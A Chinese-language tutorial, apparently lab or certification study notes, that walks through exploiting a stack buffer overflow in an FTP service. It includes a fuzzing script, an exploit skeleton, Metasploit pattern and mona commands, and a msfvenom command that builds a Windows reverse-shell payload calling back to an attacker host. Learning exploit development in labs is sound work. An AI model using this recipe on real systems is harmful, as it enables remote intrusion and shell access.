缓冲区溢出流程
一、Immunity Debugger
-
最好以管理员的身份运行Innunity debugger
-
通常有两种方法可以使用 Immunity Debugger 来调试应用程序:
- 确保应用程序正在运行,打开 Immunity Debugger,然后使用
File -> Attach
调试器攻击正在运行的进程。 - 打开 Immunity Debugger,然后使用它
File -> Open
来运行应用程序。
- 在 Immunity Debugger 中附加到应用程序或打开应用程序时,应用程序将被暂停。单击“运行”按钮或按 F9。
二、mona
Mona 是一个强大的 Immunity Debugger 插件,可以更轻松地利用缓出。下载::download:mona.py <../_static/files/mona.py>
最新版本可以在这里下载:https : //github.com/corelan/mona
这里找到:https : //www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
将 mona.py 文件复制到 Immunity Debugger 的 PyCommands 目录(通常位于C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands)。
在 Immunity Debugger 中,键入以下内容以设置 mona 的工作目录。
!mona config -set workingfolder c:\mona\%p
三、模糊测试
- 可以修改以下 Python 脚本,它将发送越来越长的缓冲区字符串,最终使应用程序崩溃。
import socket, time, sys
ip = "MACHINE_IP" //目标IP
port = 21
timeout = 5
# Create an array of increasing length buffer strings.
buffer = []
counter = 100
while len(buffer) < 30:
buffer.append("A" * counter)
counter += 100
for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
s.send("USER username\r\n")
s.recv(1024)
print("Fuzzing PASS with %s bytes" % len(string))
s.send("PASS " + string + "\r\n")
s.recv(1024)
s.send("QUIT\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
- 检查 EIP 寄存器是否已被 A (\x41) 覆盖,并记下使崩溃发送的字节长度
四、控制EIP
以下python漏洞利用代码可用于缓冲区溢出漏洞利用的其余部分:
import socket
ip = "10.0.0.1" //目标IP
port = 21
prefix = ""
offset = 0 //EIP偏移量
overflow = "A" * offset //无意义的填充物
retn = "" //ESP跳板
padding = "" //nop缓冲区(至少/x90 *16)
payload = "" //恶意代码
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
寻找EIP
- 使用导致崩溃的缓冲区长度,生成一个唯一的缓冲区,以便我们可以确定覆盖 EIP 寄存器的模式中的偏移量,以及其他寄存器指向的模式中的偏移量。创建一个比崩溃缓冲区大 400 字节的模式,以便我们可以确定我们的 shellcode 是否可以立即适应。
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600 //应该将600修改为比缓冲区崩溃长度大400字节的数字
- 使用 mona 的 findmsp 命令,并将距离参数设置为比缓冲区崩溃大400的数字,确定EIP偏移量
!mona findmsp -distance 600 //600应该更改
- 或者在攻击机机器里使用下面的命令来确定EIP偏移量
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134 //后面的数字是EIP的值
五、查找坏字符
- 使用 mona 生成字节数组,并默认排除空字节 (\x00)。请注意生成的 bytearray.bin 文件的位置
!mona bytearray -b "\x00"
- 现在生成一串与字节数组相同的坏字符。以下 python 脚本可用于生成从 \x01 到 \xff 的坏字符字符串:
#!/usr/bin/env python
from __future__ import print_function
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
- 使用 mona compare 命令引用你生成的字节数组,以及 ESP 指向的地址:
!mona compare -f C:\mona\appname\bytearray.bin -a <esp地址>
- 使用Ctrl + F4组合键可以查看之前找到的坏字符
- 注意:应该逐个排除坏字符,因为前一个坏字符可能会影响到后一个,导致好的字符被误判为坏字符
六、寻找跳板(ESP)
- 使用以下指令寻找ESP,并且确保不会出现坏字符:
!mona jmp -r esp -cpb " " //引号内的是坏字符
- 会显示多个ESP结果,都行,记下地址,写到代码中时地址要反过来写,因为进出顺序不同
七、生成有效载荷
- 使用 msfvenom 生成反向 shell 负载,确保排除之前发现的相同错误字符:
msfvenom -p windows/shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f py -v payload
-p 载荷类型
LHOST 本机地址
LPORT
-b 坏字符
-f 编译的语言
-v 载荷的名称
- 注意:生成的载荷是字节类型的,放入python3脚本的时候可能需要转换成字符串类型
八、预先准备 NOP
- 如果使用了编码器(如果存在错误字符的可能性很大,请记住在有效负载之前至少添加 16 个 NOP (\x90)。